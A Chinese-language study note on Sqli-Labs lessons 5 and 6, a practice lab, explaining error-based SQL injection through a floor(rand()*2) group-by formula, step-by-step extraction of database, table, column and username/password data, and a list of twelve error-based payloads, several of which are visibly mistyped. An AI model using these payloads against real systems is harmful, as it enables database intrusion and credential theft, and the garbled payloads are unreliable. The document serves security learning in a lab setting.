这一路上我们将不彼此抛弃,不彼此出卖,直到死的尽头。
知识点补充
第五课与前面四课不一样,前面可以通过回显内容直接查询到结果,但是第五课中尝试注入不管输入什么都只会给你提示一个正确页面和错误页面,在此之前除了要掌握前面两篇文章中提起的SQL盲注基础知识 与SQL注入基础 的所有函数都必须要会.
在此之后还涉及到一个新的知识点,强制让页面报错.
查询数据库数量
强制报错回显
如果你在数据库中测试内容回显都是null,说明你没有选择数据库,在此之前记得use security
可以看到根据回显内容判断数据库有5个,当前数据库为security,但是回显的内容太多重复,这个时候使用group by 让那些属性一样的值只显示一个
select concat(database(),':',floor(rand()*2)) as a from information_schema.schemata group by a;
当然这里不限于在infomation_schema.shcemata(数据库表)中查询,你还可以在information_schema.tables(所有表)中查询.
查询是否有记录
这里有点拗口,关于select 1 from tables这个知识点,我在网上了解到是判断条件是否存在.
1、select 1 from mytable;与select anycol(目的表集合中的任意一行) from mytable;与select * from mytable 作用上来说是没有差别的,都是查看是否有记录,一般是作条件用的。select 1 from 中的1是一常量,查到的所有行的值都是它,但从效率上来说,1>anycol>*,因为不用查字典表。
2、查看记录条数可以用select count(1) from mytable;等价于select count(*) from mytable;
select * from organization where 1=1 and exists(select 1 from organization where orgid >1999999)
我个人的理解是,select 1 from tables的作用是判断这个tables中是否存在查询的字段数据,如果有页面就返回真.
构造公式
上面说的有点迷糊,其实总结下来就那么一套公式,遇到该种注入方式直接套公式即可,但是弄清楚原理还是很有必要的,大家多敲下语句加深印象对以后手工注入还是有很大的帮助的.
?id=1'and (select 1 from (select count(*),concat(database(),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
这里把database(),换成user(),@@datadir,就能探测到别的信息.
来分析一下这个公式
1. select count(*),concat(database(),":",floor(rand()*2))as a from information_schema.tables;
在数据库的所有表中搜索,搜索所有的表的数量,以及当前数据库名字,用冒号拼接后面的函数,后面的函数作用是在0-1中随机选择一个数字然后乘以2,当然你在数据库查询的时候把floor(rand()*2)改写成6666666也是可以的,但是在浏览器中就不行.
2. 然后把上面查询到结果使用group by排序一下,如果没有group by的话不会回显内容
3. 最后查询到的结果赋值位b,限制输出一个数值,这里测试不加limit 0,1也可以
脑壳疼,下面直接来实战一下吧!
Sqli Labs Lesson 5 实战笔记
判断是否存在注入
加上单引号发现报错了,判断为字符型注入.
判断字段数
输入4的时候报错,3正常,说明存在3个字段
判断可显示字段
这个时候使用老套路:
?id=-1' union select 1,2,3 --+
发现和想象中的不一样,并没有显示那个位置可以回显信息
不慌,咱来把公式套上去
探测信息
可以看到把数据库名爆出来了,这里你可以把公式中的database()替换成user()等去探测别的信息,并且通过强制报错可以不用去探测字段数,发现没有?
探测表名
探测表名和以前一样啊,直接查询所有的表,但因为公式的限制一次只能回显一个,注意这里别忘了limit限制输出,继续查询下一个表名用limit 1,1 再后面的就是limit 2,1 。按照习惯猜测,users这个表存储的应该是用户名账号密码等信息,那么继续探测这个表有哪些字段内容.
探测列名
探测方法如上,根据回显,确认username,password字段就是需要的,接下来查询他们的字段内容即可.
探测数据
探测数据的方法和上面一样,同样一次只能查询一个,查询两个使用concat连接在一起。
得到所需信息,注入结束.
Lesson 6
注入方式与5一致,只是闭合方法不一样
lesson 6 :?id=1" and (select xxxx)--+
报错思路拓展
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
总结
相对于前面1-4的内容,lesson 5略显难一些,需要掌握更多的知识,新的知识又立马套嵌在一起使用,容易让人头晕,虽然说有公式直接套进去就可以用,但是原理这种东西还是要懂要会的,这样才会让你走更远,其实还有另一种方法也可以对lesson 5 进行注入,那就是基于布尔的盲注,当然盲注对1-5课的内容都可以….但是时间复杂太大了,等下次再慢慢说~